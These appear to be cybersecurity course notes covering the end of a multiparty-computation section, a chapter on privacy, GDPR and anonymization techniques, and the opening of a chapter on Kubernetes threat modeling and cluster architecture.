Beaver triples supply preprocessed correlated randomness. For an AND or multiplication gate, the parties mask the real inputs, safely open the masked differences, and combine those public differences with secret-shared triple values. This turns a nonlinear secure computation into efficient local operations plus limited communication during the online phase.

Final mental model: MPC is privacy-preserving computation under explicit assumptions. Shares hide inputs, local linear operations keep computation efficient, Beaver triples handle nonlinear operations, and the output is revealed only as intended. Security depends on both mathematics and the deployment architecture.

Additional: Garbled Circuits (Yao's Protocol for 2PC)

Garbled circuits are a cryptographic protocol by Andrew Yao (1986) for secure two-party computation. Represent a function as a Boolean circuit, then 'garble' (encrypt) it so one party evaluates without learning the other's input. Complements secret-sharing-based MPC (Beaver triples).

CYBERSECURITY

Chapter 11: Privacy, Data Protection, and GDPR

Technical knowledge notes

Privacy concepts, GDPR foundations, lawful processing, privacy engineering, LINDDUN, pseudonymization, anonymization, data-subject rights, software architecture, governance, and breach handling

Core idea: Privacy is broader than confidentiality. Data protection regulates the processing of personal data and is necessary for privacy, but it is not identical to privacy. Security engineering and data-protection engineering must be designed together.

Legal-status note: For a real legal decision, consult the current EUR-Lex text, applicable national law, and competent legal guidance. The European Commission has proposed Digital Omnibus amendments, so some details may evolve.

Engineering focus: The important question is often not merely which Article applies, but what the legal principle means for data models, interfaces, logging, access control, retention, backups, deployment, incident response, and documentation.

1. Privacy, confidentiality, and data protection

1.1 Privacy is a broad human concept

Privacy is difficult to reduce to one sentence because it concerns several overlapping human interests. This uses six recurring dimensions from legal scholarship. A system may protect one dimension while still harming another.

Dimension	Meaning	Software or operational example
P1: Right to be left alone	Protection against unwanted intrusion or disturbance.	Avoid unnecessary tracking, notifications, surveillance, and repeated contact.
P2: Shielding from unwanted access	Ability to prevent unauthorized observation or access.	Access control, encryption, screen privacy, and protection against data leaks.
P3: Concealment of matters from others	Ability to keep selected facts undisclosed.	Confidential records, protected messages, and limited data sharing.
P4: Control over personal information	Influence over collection, use, correction, sharing, retention, and deletion.	Consent management, privacy settings, access requests, and deletion workflows.
P5: Personality, individuality, and dignity	Protection against treatment that undermines human dignity or autonomy.	Avoid manipulative profiling, unfair scoring, or humiliating disclosure.
P6: Control over intimate relationships and aspects of life	Protection of personal, family, health, and intimate spheres.	Special care for health, sexuality, genetics, and relationship data.

Human-rights discussions often emphasize P1, P5, and P6. Computer science often emphasizes P2 and P3 through confidentiality, encryption, anonymization, and access control. Data protection strongly concerns P4 and also supports P5 and P6.

1.2 Privacy is not the same as confidentiality

Concept	Main question	Important distinction
Confidentiality	Can unauthorized parties read the information?	A security property. It can protect personal or non-personal information.
Privacy	Are people treated in a way that respects their rights, freedoms, expectations, dignity, and control?	Broader than secrecy. A system can keep data secret yet still collect too much or use it unfairly.
Data protection	Is personal-data processing lawful, fair, transparent, necessary, accurate, secure, accountable, and respectful of rights?	Overlaps with privacy but is not identical to it.

Example: A company may encrypt a detailed behavioral profile so that outsiders cannot read it. Confidentiality may be strong, yet privacy may still be poor if the profile was collected unnecessarily, kept forever, used for an incompatible purpose, or applied in an unfair automated decision.

1.3 Fundamental-rights perspective and further dimensions

Privacy appears in international human-rights instruments and in constitutional traditions. In the European Union, private life and personal-data protection are distinct fundamental rights. Privacy also has spatial, bodily, physiological, employment, and criminal-law dimensions. Examples include public-space surveillance, private-property boundaries, genetics, workplace monitoring, and unauthorized access to intimate records.

2. GDPR purpose, scope, governance, and key actors

2.1 Seven recurring privacy failures in software systems

Privacy failure	Why it is harmful	Related engineering response
Store data forever	Long retention increases misuse, breach, and inference risk.	Retention schedules, deletion jobs, archival rules, and backup lifecycle management.
Reuse data indiscriminately	Data collected for one reason may be reused incompatibly.	Purpose metadata, access policies, review gates, and separation of datasets.
Walled gardens and black markets	People lose meaningful control over data flows.	Transparency, portability, contractual controls, and third-party governance.
Risk-agnostic processing	The same treatment is applied regardless of sensitivity or harm.	Risk assessment, DPIAs, threat modeling, and differentiated safeguards.
Hidden data breaches	Affected people and authorities cannot respond.	Detection, escalation, breach registers, and notification workflows.
Unexplainable decisions	People cannot challenge or understand important outcomes.	Explainability, review channels, documentation, and human oversight.
Security as a secondary goal	Personal data is exposed to avoidable risks.	Security-by-design, testing, resilience, patching, and access control.

2.2 GDPR big-picture goals

The GDPR increased data-subject rights, controller and processor duties, supervisory-authority powers, and EU-level harmonization. It has two connected goals: protect natural persons and support the lawful free flow of personal data within the Union. The regulation is directly applicable EU law, although national law still matters in areas where the GDPR leaves flexibility or where other legal regimes apply.

Current-law caution: Ongoing renegotiation through the Digital Omnibus may change details. Treat proposals as proposals until enacted. For real compliance, verify the current consolidated legal text and national implementation rules.

2.3 Governance: supervisory authorities and EU coordination

Each EU or EEA jurisdiction has one or more public data-protection supervisory authorities. EU-level coordination is performed through the European Data Protection Board (EDPB). In Denmark, the relevant authority is Datatilsynet. Supervisory authorities provide guidance, investigate complaints and incidents, cooperate across borders, and can use enforcement powers.

2.4 Personal data and processing

Term	Meaning	Examples and nuance
Personal data	Any information relating to an identified or identifiable natural person.	Names, identifiers, IP addresses, location data, account data, device-linked data, and combinations that permit identification.
Data subject	The natural person to whom personal data relates.	A customer, employee, student, patient, website user, or other identifiable individual.
Processing	Operations performed on personal data.	Collection, recording, structuring, storage, consultation, use, disclosure, combination, restriction, erasure, or destruction.
Manual processing	Not every manual note is automatically covered in every context.	The GDPR covers automated processing and relevant non-automated processing that forms or is intended to form part of a filing system.

3. Special categories, roles, territorial scope, and transfers

3.1 Special categories of personal data

Article 9 uses the formal term special categories of personal data. These categories receive heightened protection because misuse can cause serious discrimination, dignity harms, safety risks, or chilling effects.

Special category	Examples
Racial or ethnic origin	Data that reveals or strongly implies racial or ethnic background.
Political opinions	Membership, donations, survey responses, or inferred political preference.
Religious or philosophical beliefs	Declared or inferred beliefs and affiliations.
Trade-union membership	Membership and related participation records.
Genetic data	Data about inherited or acquired genetic characteristics.
Biometric data used for unique identification	Fingerprints, facial templates, or similar identifiers when used to identify a person.
Health data	Diagnoses, medical history, prescriptions, disability, and health-service use.
Sex life or sexual orientation	Intimate personal information.

Processing these categories is generally prohibited unless an Article 9 exception applies. An exception such as explicit consent or data manifestly made public by the data subject must be analyzed carefully; it is not a blanket permission for unrestricted reuse.

3.2 Controller, processor, joint controller, and supply chain

Role	Core responsibility	Typical example
Controller	Determines purposes and essential means: why and how personal data is processed.	A university deciding why student records are collected and how they are used.
Processor	Processes personal data on behalf of a controller and under documented instructions.	A cloud hosting or payroll provider operating a service for the controller.
Joint controllers	Two or more parties jointly determine purposes and means.	Partners jointly designing and operating a shared data-processing activity.
Sub-processor	A processor engaged by another processor under the applicable contractual chain.	A hosting subcontractor used by a software-as-a-service provider.

Outsourcing processing does not remove the controller's responsibilities. Engineering and procurement must map data flows across the supply chain, define contracts, limit access, and verify safeguards.

3.3 Territorial reach

The GDPR can apply beyond the EU. Article 3 includes processing in the context of an EU establishment and, in defined cases, processing by organizations outside the EU when offering goods or services to people in the EU or monitoring their behavior in the EU. The practical lesson is that server location alone does not decide applicability.

3.4 International transfers

Transfers of personal data outside the EU or EEA require a lawful transfer mechanism and appropriate protection. Adequacy decisions are one route. Other routes may include appropriate safeguards such as contractual mechanisms, depending on the case. A system architecture should identify transfer destinations, providers, subprocessors, and applicable controls rather than assuming that a commercial cloud product resolves the legal question automatically.

4. Lawfulness, principles, accountability, and security

4.1 Informational self-determination

Informational self-determination expresses the idea that individuals should have meaningful influence over how personal data about them is collected and used. It is not absolute, because other rights and legitimate societal interests also matter, but it provides an important foundation for consent, transparency, and data-subject controls.

4.2 Legal bases for processing

Consent is not the only legal basis. For each purpose and processing activity, the controller must identify an appropriate legal basis and satisfy the conditions for that basis. A complex system may rely on different bases for different purposes.

Article 6 basis	Meaning	Typical example or caution
Consent	Freely given, specific, informed, and unambiguous agreement.	Do not force consent when the service can rely on another basis or when refusal is not meaningful.
Contract	Processing necessary to perform or enter into a contract with the individual.	Use only what is genuinely necessary for the contractual service.
Legal obligation	Processing necessary to comply with a legal duty.	Accounting retention or legally required reporting.
Vital interests	Processing necessary to protect life or similarly vital interests.	Emergency health situations.
Public interest or official authority	Processing necessary for a task carried out in the public interest or exercise of official authority.	Certain public-sector activities.
Legitimate interests	Processing necessary for legitimate interests unless overridden by individual rights and freedoms.	Requires a documented balancing analysis; it is not a generic fallback.

4.3 Article 5 principles

Principle	Meaning for engineering
Lawfulness, fairness, and transparency	Make processing understandable, justified, and non-deceptive. Implement notices and traceable decisions.
Purpose limitation	Collect for specified, explicit, legitimate purposes; control incompatible reuse.
Data minimization	Collect and expose only what is adequate, relevant, and necessary.
Accuracy	Support correction, validation, and update processes.
Storage limitation	Keep identifiable data no longer than necessary, subject to applicable exceptions and retention duties.
Integrity and confidentiality	Use appropriate security against unauthorized or unlawful processing and against accidental loss, destruction, or damage.
Accountability	Be able to demonstrate compliance through decisions, records, controls, testing, and evidence.

4.4 Cambridge Analytica as an engineering lesson

The Cambridge Analytica scandal is useful as a systems lesson: personal data collected through an application ecosystem was used and shared in ways that raised major concerns about transparency, purpose, lawful basis, third-party governance, and effective control. The lesson is not limited to one company. API design, permission scope, onward sharing, auditing, and revocation mechanisms can create or reduce privacy risk.

4.5 Security under Article 32

GDPR security is risk-based. Appropriate technical and organizational measures depend on the state of the art, implementation cost, nature and context of processing, and risks to people's rights and freedoms. The regulation points to measures such as pseudonymization, encryption, confidentiality, integrity, availability, resilience, timely restoration, and regular testing. It does not prescribe one universal technical architecture.

Balance, not a false choice: Monitoring and logging can support confidentiality, availability, accountability, and incident response, but excessive logs can create new privacy risks. Design logs around a clear purpose, minimize content, restrict access, define retention, protect integrity, and review necessity.

5. Privacy engineering, privacy-by-design, and threat modeling

5.1 From privacy policy to privacy architecture

Privacy engineering systematically captures and addresses privacy issues while designing, implementing, adapting, and evaluating sociotechnical systems. A privacy policy is necessary but insufficient. Architecture determines what data is collected, where it flows, who can access it, whether it is linkable, how long it persists, and whether rights can actually be exercised.

5.2 Privacy-by-design principles

Principle	Meaning
Proactive, not reactive	Prevent privacy problems before they become incidents.
Privacy as the default	Do not require users to opt out of unnecessary processing.
Privacy embedded into design	Treat privacy as an architectural requirement, not a late patch.
Positive-sum functionality	Seek useful functionality and privacy together rather than presenting an avoidable zero-sum choice.
End-to-end lifecycle protection	Protect data from collection through use, storage, sharing, archival, and deletion.
Visibility and transparency	Make practices, controls, and responsibilities understandable and auditable.
Respect for user privacy	Keep systems user-centric and provide meaningful control.

5.3 NIST Privacy Framework - current official structure

This includes a useful control-oriented summary: authority and purpose; accountability, auditing, and risk management; data quality and integrity; data minimization and retention; participation and redress; security; transparency; and use limitation. These ideas align well with GDPR principles.

Accuracy clarification: The current NIST Privacy Framework is organized around five functions: Identify-P, Govern-P, Control-P, Communicate-P, and Protect-P. An eight-control practical checklist can still be useful, but it should not be confused with the official five-function NIST structure.

NIST Privacy Framework function	Purpose
Identify-P	Understand data processing and privacy risks for individuals.
Govern-P	Establish governance, policies, legal awareness, and risk priorities.
Control-P	Enable organizations and individuals to manage data with appropriate granularity.
Communicate-P	Enable reliable understanding and dialogue about processing and privacy risks.
Protect-P	Implement safeguards against cybersecurity-related privacy events.

5.4 LINDDUN privacy threat modeling

LINDDUN is a privacy-specific threat-modeling approach. Apply its threat categories to data flows, data stores, actors, and trust boundaries. Important elements include six categories; current LINDDUN materials include a seventh category, non-compliance.

LINDDUN category	Question to ask
Linking	Can two items, actions, sessions, records, or identities be connected?
Identifying	Can a person or other subject be identified?
Non-repudiation	Is there evidence that prevents a person from plausibly denying an action when deniability is expected?
Detecting	Can an observer determine that an item, event, communication, or person exists?
Disclosure of information	Can unauthorized parties learn protected information?
Unawareness	Is the person unaware of processing, consequences, or choices?
Non-compliance	Does processing fail to satisfy policy, legal, or lifecycle obligations?

A single technical identifier can contribute to several threats. For example, an IP address, MAC address, biometric identifier, session ID, or behavioral pattern can support linking and sometimes identification. Threat modeling should examine combinations, not only individual fields.

6. De-identification, pseudonymization, anonymity, and anonymization

6.1 Core definitions

Term	Meaning	Key caution
Identification	Ability to identify a data subject.	Identification can be direct or emerge from combinations and external data.
De-identification	A method intended to prevent or reduce re-identification.	A broad category, not a guarantee.
Pseudonymization	Processing so data cannot be attributed to a specific person without additional information kept separately and protected.	Still personal data under the GDPR in ordinary cases.
Anonymization	De-identification intended to be effectively irreversible.	If re-identification remains reasonably possible, the data may not be truly anonymous.

6.2 Three re-identification tests

Test	Question
Singling out	Can one or more records relating to a person be isolated?
Linkability	Can records about the same person be linked within or across datasets?
Inference	Can a protected attribute be inferred with significant probability from other values or external knowledge?

Pseudonymization commonly reduces direct attribution and can reduce linkability when implemented carefully, but it does not automatically prevent singling out or inference. Additional information, keys, lookup tables, or correlations may permit re-identification.

6.3 Article 11 and levels of identifiability

The GDPR does not require a controller to collect extra identifying information solely to identify a person when the purposes no longer require identification. This supports data-minimizing architectures. However, accountability remains important: the controller must be able to explain and demonstrate the chosen approach.

Level	Directly linked to identity?	Re-identifiable?	Personal data?
Identified	Yes	Yes	Yes
Identifiable	Not necessarily	Yes	Yes
Article 11 situation	No	Controller may lack means needed for attribution	Still analyze context carefully
Anonymous	No	Effectively no, considering realistic means	Outside GDPR personal-data rules

6.4 Common pseudonymization techniques

Technique	What it does	Caution
Encryption	Transforms data using a key.	Reversible with the key; key management and access separation are critical.
Hashing	Maps data to a digest.	Predictable inputs may be guessed; use keyed constructions or salts where appropriate.
Masking	Redacts or partially obscures direct identifiers.	Residual values and quasi-identifiers may still reveal identity.
Tokenization	Replaces data with a token linked to a protected mapping or service.	The mapping service and token design become security-critical.

Direct identifiers include names, addresses, national identifiers, license plates, IP addresses, and device fingerprints. Quasi-identifiers include attributes such as gender, date of birth, postal code, income, or location. A combination of quasi-identifiers can become identifying even when each field appears harmless in isolation.

6.5 Anonymity sets and probability

Anonymity means not being identifiable within an anonymity set. A larger set usually helps, but size alone is insufficient. The distribution matters: if one candidate is overwhelmingly more likely than all others, effective anonymity remains weak. Entropy and related measures can capture this uncertainty more accurately than a simple count.

```
More anonymity usually requires both a larger anonymity set |A| and a less concentrated probability
distribution over the members of A.
```

7. Classical anonymization methods and their limits

7.1 Aggregation and re-coding

Method	Idea	Example	Trade-off
Aggregation	Replace individual-level values with group summaries.	Report average values for age groups rather than each row.	Reduces detail and may reduce usefulness.
Re-coding or generalization	Replace precise values with broader categories.	Replace a town with a wider region such as Aarhus or Copenhagen.	Coarser categories reduce precision.

7.2 k-anonymity

A dataset has k-anonymity with respect to chosen quasi-identifiers when each person cannot be distinguished from at least k - 1 other records using those quasi-identifiers. The maximum singling-out probability within an equivalence class is then 1/k under the simplified model. Suppression and generalization are common ways to obtain the property.

Location	Generalized X	Number of indistinguishable rows	Result
Copenhagen	< 30000	2	2-anonymous group
Aalborg	>= 30000	2	2-anonymous group

Limitation: k-anonymity mainly addresses singling out. It does not by itself prevent attribute disclosure, background-knowledge attacks, or inference. Choosing quasi-identifiers and equivalence classes is a context-dependent engineering decision.

7.3 l-diversity

l-diversity strengthens a k-anonymous dataset by requiring diversity of sensitive values inside an equivalence class. If all records in a 2-anonymous group have the same diagnosis, learning that a person belongs to that group still reveals the diagnosis. A 2-diverse group includes at least two relevant sensitive values, reducing this direct disclosure.

Equivalence class	Sensitive values before l-diversity	Problem	Improved version
Copenhagen and X < 30000	Only cardiovascular condition	Location and X reveal the condition.	Include more than one diagnosis in the class.
Aarhus and X >= 30000	Only cancer	Membership reveals the condition.	Include both cancer and cardiovascular values.

7.4 Randomization and permutation

Randomization adds noise to values. Gaussian and Laplace distributions are common examples. Noise can obscure exact values while preserving aggregate utility, but naive noise addition is not a complete privacy guarantee.

```
Gaussian example: released_value = true_value + N(0, sigma^2)
```

```
Laplace example: released_value = true_value + L(0, beta)
```

Common mistake	Why it fails
Adding noise to only one correlated field	Other fields may permit reconstruction or strong inference.
Using inconsistent or impossible noise	Out-of-range values reveal implementation details or are easy to filter.
Ignoring sparse datasets	Rare combinations can remain identifying.
Ignoring linkability	Repeated releases or external datasets may reveal the same person.
Assuming any noise is enough	A formal privacy model and utility analysis are still needed.

Differential privacy is the major modern formal framework for randomization-based privacy. Examples include it but does not develop the mathematics. The high-level goal is to bound how much the inclusion or exclusion of one person can change released information.

7.5 Why anonymization is hard

Anonymization must survive realistic auxiliary information and realistic attacker effort. Public records, commercial datasets, repeated releases, social-media traces, location histories, and unusual attribute combinations can support re-identification. Treat anonymization as a risk analysis and validation problem, not a one-time removal of names.

8. GDPR rights and software requirements

8.1 Main data-subject rights

Right	Engineering implication	Important nuance
Be informed	Provide clear notices about processing, purposes, retention, recipients, and rights.	Transparency must be understandable and timely.
Access	Support retrieval and communication of personal data and relevant information.	Identity verification and secure delivery are important.
Rectification	Allow inaccurate data to be corrected.	Propagate corrections to relevant stores and downstream systems.
Erasure	Support deletion where the conditions apply.	Not absolute; retention duties and exceptions may apply.
Withdraw consent	Record and honor withdrawal when consent is the legal basis.	Withdrawal should be as easy as giving consent; downstream effects must be designed.
Restriction of processing	Mark and enforce limits on use while retaining data where appropriate.	Restriction differs from deletion.
Object to processing	Provide a route to object and evaluate the applicable legal consequences.	Particularly relevant for some legitimate-interest and direct-marketing contexts.
Data portability	Provide data in a structured, commonly used, machine-readable format when the conditions apply.	Often implemented with JSON, CSV, or similar exports.
Automated decision safeguards	Support the Article 22 protections for qualifying solely automated decisions with legal or similarly significant effects.	Do not oversimplify this as a universal ban on all automation.
Breach communication	Communicate qualifying high-risk personal-data breaches to affected people.	Article 34 applies under defined conditions and exceptions.

8.2 Functional architecture for rights handling

Rights create practical requirements at the persistence layer and user-interface layer. A system may need secure identity verification, request intake, workflow tracking, retrieval, correction, deletion, restriction flags, portability exports, revocation controls, and communication channels. The correct implementation depends on the system size, data sensitivity, and risk.

Architecture component	Purpose
GDPR-request interface	Accepts access, correction, deletion, restriction, objection, portability, and consent-related requests.
GDPR-request service	Authenticates the request, orchestrates workflows, records progress, and returns a result.
Core personal-data module	Maintains authoritative personal-data state and exposes controlled operations.
Business-logic services	Process requests affecting their local stores and report completion.
Message broker or queue	Broadcasts requests and collects responses in distributed systems.
Personal-data event log	Supports traceability and auditing when justified and minimized.
Consent or restriction registry	Stores controlled state needed to enforce consent and processing restrictions.

8.3 Isolation and compartmentalization

Separate particularly sensitive personal data from less sensitive operational data where appropriate. Limit the number of services that can read it. A public frontend may need only a narrow interface, while a protected backend or separate database stores health, payment, or identity data. The objective is to reduce blast radius and make policy enforcement explicit.

8.4 Records of processing, application logs, and backups

Important legal accuracy note: Article 30 requires records of processing activities. This is not identical to logging every individual application event. Detailed event logs may support accountability, security, and rights workflows, but they also create personal data. Log only what is justified, protect it, and define retention.

Backups complicate deletion and correction. A practical design may allow immutable or round-robin backups to age out while ensuring that restored data is brought forward to the current corrected state before ordinary processing resumes. Define restore procedures, retention periods, and exceptional handling in advance.

9. Operational design, governance, and incident response

9.1 Logging case study: university registration service

For a student-registration system, log what is necessary for security, accountability, and reliable operations, but avoid collecting unnecessary personal content. The answer depends on purpose, risk, and retention rules.

Useful to log when justified	Avoid or minimize unless clearly needed
Request timestamp, request type, outcome, service involved, and a protected account identifier.	Full form contents, passwords, authentication secrets, and unnecessary free-text fields.
Security-relevant events such as failed logins, privilege changes, suspicious access, and administrative actions.	Sensitive personal data copied into logs by default.
Rights-request workflow state, authorized operator action, and completion status.	Long retention without a defined purpose.
Transfer or disclosure records required for accountability.	Unrestricted developer access to production logs.

9.2 Development, staging, and production environments

Developers rarely need raw production personal data. Prefer synthetic or carefully controlled test data. Separate development, staging, and production environments; restrict production access; monitor privileged activity; and avoid copying full production databases into informal test environments.

9.3 Data-protection impact assessments

A data-protection impact assessment (DPIA) is required under Article 35 when processing is likely to result in a high risk to the rights and freedoms of natural persons. DPIAs connect legal analysis with requirements engineering: identify processing, necessity, risks, controls, residual risk, owners, and review triggers. They should influence architecture before deployment, not merely document decisions afterward.

9.4 Data protection officer

A data protection officer (DPO) is required in the Article 37 situations, not universally for every organization. The DPO advises, monitors compliance, supports DPIAs, cooperates with supervisory authorities, and acts as a contact point. The DPO has defined independence and should not be treated as the sole owner of compliance; accountability remains organizational.

9.5 Personal-data breach notification

Step	Rule and engineering implication
Detect and assess	Establish whether a personal-data breach occurred: accidental or unlawful destruction, loss, alteration, unauthorized disclosure, or unauthorized access.
Document internally	Document breaches, facts, effects, and remedial action. Maintain an incident register.
Notify supervisory authority	Notify without undue delay and, where feasible, within 72 hours after awareness unless the breach is unlikely to result in risk to individuals.
Explain delay	If notification is later than 72 hours, provide reasons for delay.
Communicate to affected people	When the breach is likely to result in a high risk, communicate without undue delay unless an Article 34 exception applies.
Improve controls	Use the incident to update detection, containment, risk analysis, architecture, and training.

9.6 Documentation and privacy notices

Documentation supports accountability, operational continuity, audits, and communication. Privacy notices should explain who processes data, purposes, legal bases, categories, recipients, transfers, retention, rights, contact channels, and relevant safeguards in language that is accurate and usable. Avoid both vague statements and unreadable legal overload.

9.7 Broader personal-data governance

Data spaces, digital wallets, portability ecosystems, and MyData-style initiatives reflect a broader movement toward controlled reuse and transfer of data. They can empower individuals and enable services, but they also increase the importance of identity assurance, consent or authorization flows, interoperability, provenance, access control, auditability, and transfer governance.

10. Rapid reference

10.1 High-value distinctions

Do not confuse	Correct distinction
Privacy and confidentiality	Confidentiality is one security property; privacy is broader and concerns people, rights, dignity, and control.
Privacy and data protection	Data protection is necessary for privacy but does not cover every privacy dimension.
Pseudonymized and anonymous data	Pseudonymized data remains personal data in ordinary GDPR analysis; anonymous data is effectively irreversible de-identification.
Controller and processor	Controller determines purposes and essential means; processor acts on the controller's behalf under instructions.
Consent and lawfulness	Consent is only one Article 6 basis. Select an appropriate basis for each purpose.
Article 30 records and full event logging	Records of processing are required; application-level event logs must still be purpose-limited and minimized.
k-anonymity and full anonymity	k-anonymity addresses singling out but not every inference or attribute-disclosure attack.
DPA notification and data-subject communication	Supervisory notification uses the Article 33 risk threshold; communication to affected people uses the Article 34 high-risk threshold.
DPO and organizational accountability	The DPO advises and monitors; compliance remains an organizational responsibility.

10.2 Privacy-engineering workflow

1. Map personal-data flows, actors, purposes, legal bases, stores, transfers, and trust boundaries.
2. Classify data sensitivity, identify risks to people, and perform a DPIA where required.
3. Minimize data, limit purposes, separate sensitive stores, protect keys, and apply least privilege.
4. Design usable interfaces and backend workflows for access, rectification, erasure, restriction, objection, portability, consent, and communication.
5. Define retention, backup aging, restoration, logging, records of processing, and third-party governance.
6. Test security and privacy controls, monitor production, document decisions, and review when the system changes.

10.3 STRIDE and LINDDUN complement each other

STRIDE is useful for security threats such as spoofing, tampering, information disclosure, denial of service, and privilege escalation. LINDDUN adds privacy-specific questions such as linkability, identifiability, detectability, unawareness, and non-compliance. Use both when a system processes personal data.

10.4 Official-source checkpoint

Source	Use it for
EUR-Lex: Regulation (EU) 2016/679	Current GDPR text, recitals, Articles, and amendment status.
European Data Protection Board (EDPB)	EU-level guidelines, rights guidance, breach-notification guidance, and cross-border interpretation.
National supervisory authority, such as Datatilsynet	Local guidance, notification procedures, and national context.
European Commission digital-policy pages	Status of proposed Digital Omnibus changes and related policy initiatives.
NIST Privacy Framework	Voluntary privacy-risk-management structure: Identify-P, Govern-P, Control-P, Communicate-P, Protect-P.
LINDDUN official materials	Privacy threat categories, threat trees, and modeling guidance.

Practical reminder: Connect each legal or privacy principle to an engineering action. For real legal compliance, confirm the current law and seek qualified advice for the specific jurisdiction and processing context.

Additional: Solove 2002 - Six Properties of Privacy

Daniel Solove (2002) identified six properties of privacy frequent in legal literature:

P	Description
P1	The right to be left alone
P2	The ability to shield oneself from unwanted access
P3	The concealment of certain matters from others
P4	Control over personal information
P5	The protection of personality, individuality, and dignity
P6	Control over intimate relationships and aspects of life

If P = {P1...P6}, then P is a fundamental human right. CS focuses on P2, P3. Data protection on P4, P5, P6.

Additional: Cavoukian's 7 Privacy-by-Design Principles (1995)

#	Principle	Meaning
P1	Proactive not reactive	Preventative, not remedial
P2	Privacy as default	No user action needed
P3	Embedded into design	Integral, not an add-on
P4	Full functionality	Positive-sum, not zero-sum
P5	End-to-end security	Full lifecycle protection
P6	Visibility/transparency	Open and verifiable
P7	Respect for user privacy	User-centric

Related to GDPR Article 25 (data protection by design and by default) and PETs.

Additional: GDPR Extraterritoriality (Article 3)

The GDPR is **extraterritorial**: applies to organizations inside or outside the EU. Per Article 3, merely offering goods/services to European natural persons suffices. International transfers require an adequacy decision.

Additional: t-closeness

t-closeness strengthens l-diversity: the distribution of a sensitive attribute in any equivalence class must be close (threshold t, Earth Mover's Distance) to the overall distribution. Hierarchy: k-anonymity -> l-diversity -> t-closeness.

Additional: Shastri et al. 2019 - Seven Privacy Sins

(1) Storing data forever, (2) Reusing data indiscriminately, (3) Walled gardens/black markets, (4) Risk-agnostic processing, (5) Hidden breaches, (6) Unexplainable decisions, (7) Security as secondary goal. GDPR addresses all of these.

Additional: German Constitutional Court 1983

Informational self-determination: 1983 German Constitutional Court ruled everyone has a fundamental (not absolute) right to determine how personal data is collected and used. Foundation for consent in data protection; influenced GDPR.

Additional: Spiekermann & Cranor 2009

Move from 'privacy-by-policy' (just documents) to '**privacy-by-architecture**' (software architectures designed with privacy).

Additional: Pfitzmann & Koehntopp 2001 - Anonymity Definition

'Anonymity is the state of being not identifiable within a set of subjects, the anonymity set.' Corollary: stronger with larger set AND more even distribution. Anonymity is a probability concept; measured with Shannon's information entropy.

Additional: Hilden 2019 - GDPR Politics

GDPR was the EU's most lobbied law. Heavy lobbying decreased legitimacy (Hilden 2019). Twofold goals: (1) protect natural persons, (2) facilitate free flow of personal data across the union.

CYBERSECURITY

Chapter 12: Threat Modeling II - Kubernetes Security

Technical knowledge notes

Threat-model workflow review, cloud-native 4Cs, Kubernetes architecture, attack surfaces, attack trees, cluster hardening, security controls, and open-source security tooling

Core idea: A Kubernetes cluster is not a single component. It is a distributed control system with APIs, data stores, nodes, runtimes, networks, images, credentials, and workloads. Threat modeling makes the trust boundaries and attack paths explicit so that controls can be selected deliberately.

Accuracy note: Kubernetes evolves quickly. Historically important terms remain useful for recognition, while modern replacements and configuration-dependent behavior must be distinguished clearly, especially PodSecurityPolicy removal, Pod Security Admission, container-runtime differences, and Secret encryption at rest.

1. Threat modeling recap and the Kubernetes use case

1.1 Threat modeling is an iterative security-engineering process

Threat modeling is a structured way to reason about predictable security problems before, during, and after deployment. The process is not a one-time report. A model must be updated when architecture, dependencies, operations, or attack patterns change.

Step	Question	Practical output
Model the system	What are we building or operating?	Architecture diagrams, data flows, components, trust boundaries, identities, assets, assumptions, and security requirements.
Find threats	What could go wrong?	Threat list created with structured aids such as STRIDE, attack trees, known weaknesses, misuse cases, and operational experience.
Address threats	What will we do about each threat?	Mitigation, elimination, transfer, or explicit acceptance with ownership and rationale.
Validate	Did the model match reality and were the threats actually handled?	Review, implementation checks, tests, evidence, monitoring, versioning, and update triggers.

Apply this workflow to Kubernetes by decomposing the platform, identifying trust boundaries, tracing attack paths, and mapping the paths to preventive and detective controls.

1.2 Why Kubernetes is a strong threat-modeling case study

Kubernetes orchestrates containerized workloads across machines. It continuously reconciles desired state with actual state. This makes it powerful, but it also means that a compromised control-plane credential, service-account token, image, node, workload, or network path may have consequences beyond one process.

- The platform exposes multiple control points: API server, etcd, scheduler, controllers, kubelets, proxies, container runtimes, registries, and network plugins.
- Security boundaries cross machine boundaries, process boundaries, namespace boundaries, network boundaries, and administrative boundaries.
- A threat may begin in a workload but pivot toward a node, control plane, registry, datastore, or another workload.
- Availability is central: a cluster can be attacked by consuming resources, disrupting scheduling, damaging networking, or preventing new nodes from joining.

Threat-modeling mindset: Do not ask only whether Kubernetes has a feature. Ask where the feature is enforced, which identity controls it, what happens when it is misconfigured, and which signals would reveal abuse.

1.3 The 4Cs of cloud-native security

Layer	Meaning	Examples of questions
Cloud	Security of the underlying cloud or infrastructure layer.	Who controls hypervisors, networks, managed services, disks, IAM, and physical infrastructure? Are provider defaults and boundaries understood?
Cluster	Security of the Kubernetes cluster itself.	How are API requests authenticated and authorized? Is etcd protected? Are audit logs collected? Are nodes hardened?
Container	Security of images, runtime configuration, and container isolation.	Is the image trusted and scanned? Is the workload privileged? Does it run as root? Are host mounts or dangerous capabilities exposed?
Code	Security of the application code running inside containers.	Does the application contain injection flaws, weak authentication, unsafe dependencies, or business-logic vulnerabilities?

The layers are nested rather than interchangeable. Strong code security does not compensate for a leaked cluster-admin token. A hardened cluster does not remove application vulnerabilities. Defense-in-depth requires attention to all four layers.

2. Kubernetes architecture and trust boundaries

2.1 Control plane and worker nodes

A Kubernetes cluster is commonly divided into a control plane and one or more worker nodes. The control plane accepts desired-state changes and coordinates the cluster. Worker nodes execute workloads. Managed Kubernetes offerings may hide some control-plane implementation details, but the trust and security questions remain relevant.

Component	Role	Security significance
API server	Central entry point for Kubernetes API requests. It receives requests, authenticates identities, authorizes actions, applies admission controls, and persists state.	Compromise or excessive permissions can expose the whole cluster. Restrict network reachability, use strong authentication, least privilege, and audit logging.
etcd	Key-value data store for cluster state.	Sensitive because it contains cluster configuration and may contain Secrets. Protect network access, credentials, backups, encryption at rest, and integrity.
Controller manager	Runs control loops that reconcile desired and actual state.	Abuse can alter replicas, endpoints, or service accounts and create persistent changes.
Scheduler	Chooses nodes for new Pods.	Disruption can block placement of workloads. Malicious scheduling-related changes may affect isolation and availability.
Kubelet	Node agent that receives Pod specifications and manages workload execution on a node.	A compromised or exposed kubelet can affect containers and node-local resources.
Container runtime	Runs containers on nodes, for example containerd or CRI-O. Older diagrams may show Docker.	Runtime sockets and runtime privileges are powerful. Access can enable container manipulation or host impact.
Kube-proxy or dataplane implementation	Maintains service-network behavior, historically through mechanisms such as iptables.	Disruption can break service routing. Modern clusters may use different dataplane technologies.
